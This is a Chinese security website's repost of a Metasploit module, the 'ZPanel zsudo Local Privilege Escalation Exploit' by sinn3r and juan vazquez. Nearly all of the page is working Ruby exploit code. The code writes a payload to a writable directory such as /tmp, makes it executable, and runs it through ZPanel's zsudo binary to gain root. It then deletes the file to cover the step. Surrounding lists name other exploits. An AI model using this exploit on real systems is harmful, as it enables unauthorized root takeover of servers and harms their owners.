首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
ZPanel zsudo Local Privilege Escalation Exploit
来源:metasploit.com 作者:sinn3r 发布时间:2013-06-27  
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'
require 'rex'
require 'msf/core/post/common'
require 'msf/core/post/file'
require 'msf/core/post/linux/priv'
require 'msf/core/exploit/exe'


class Metasploit4 < Msf::Exploit::Local
  Rank = ExcellentRanking

  include Msf::Exploit::EXE
  include Msf::Post::File
  include Msf::Post::Common

  def initialize(info={})
    super( update_info( info, {
        'Name'          => 'ZPanel zsudo Local Privilege Escalation Exploit',
        'Description'   => %q{
          This module abuses the zsudo binary, installed with zpanel, to escalate
          privileges. In order to work, a session with access to zsudo on the sudoers
          configuration is needed. This module is useful for post exploitation of ZPanel
          vulnerabilities, where typically web server privileges are acquired, and this
          user is allowed to execute zsudo on the sudoers file.
        },
        'License'       => MSF_LICENSE,
        'Author'        => [ 'sinn3r', 'juan vazquez' ],
        'DisclosureDate' => 'Jun 07 2013',
        'Platform'      => [ 'unix', 'linux'],
        'Arch'          => [ ARCH_CMD, ARCH_X86 ],
        'SessionTypes'  => [ 'shell', 'meterpreter' ],
        'Targets'       =>
          [
            [ 'Command payload', { 'Arch' => ARCH_CMD } ],
            [ 'Linux x86',       { 'Arch' => ARCH_X86 } ]
          ],
        'DefaultOptions' => { "PrependSetresuid" => true, "WfsDelay" => 2 },
        'DefaultTarget' => 0,
      }
      ))
    register_options([
        # These are not OptPath becuase it's a *remote* path
        OptString.new("WritableDir", [ true, "A directory where we can write files", "/tmp" ]),
        OptString.new("zsudo",        [ true, "Path to zsudo executable", "/etc/zpanel/panel/bin/zsudo" ]),
      ], self.class)
  end

  def check
    if file?(datastore["zsudo"])
      return CheckCode::Detected
    end

    return CheckCode::Unknown
  end

  def exploit
    if (target.arch.include? ARCH_CMD)
      exe_file = "#{datastore["WritableDir"]}/#{rand_text_alpha(3 + rand(5))}.sh"
      # Using this way of writing the payload to avoid issues when failing to find
      # a command on the victim for writing binary data
      cmd_exec "echo \"#{payload.encoded.gsub(/"/, "\\\"")}\" > #{exe_file}"
    else
      exe_file = "#{datastore["WritableDir"]}/#{rand_text_alpha(3 + rand(5))}.elf"
      write_file(exe_file, generate_payload_exe)
    end

    cmd_exec "chmod +x #{exe_file}"

    print_status("Running...")

    begin
      cmd_exec "#{datastore["zsudo"]} #{exe_file} #{rand_text_alpha(3 + rand(5))}"
    ensure
      cmd_exec "rm -f #{exe_file}"
    end

  end
end

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Baby FTP Server 1.24 - Denial
·Novell Client 2 SP3 nicm.sys L
·Sprite Software Android Race C
·FreeBSD 9 Address Space Manipu
·Telnet-Ftp Service Server 1.0
·PHP Charts 1.0 Remote Code Exe
·MoinMoin twikidraw Action Trav
·PCMan's FTP Server 2.0 Directo
·Seowonintech Devices - Remote
·PCMan's FTP Server 2.0 Denial
·AudioCoder 0.8.22 - Direct Ret
·Java Applet ProviderSkeleton I
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved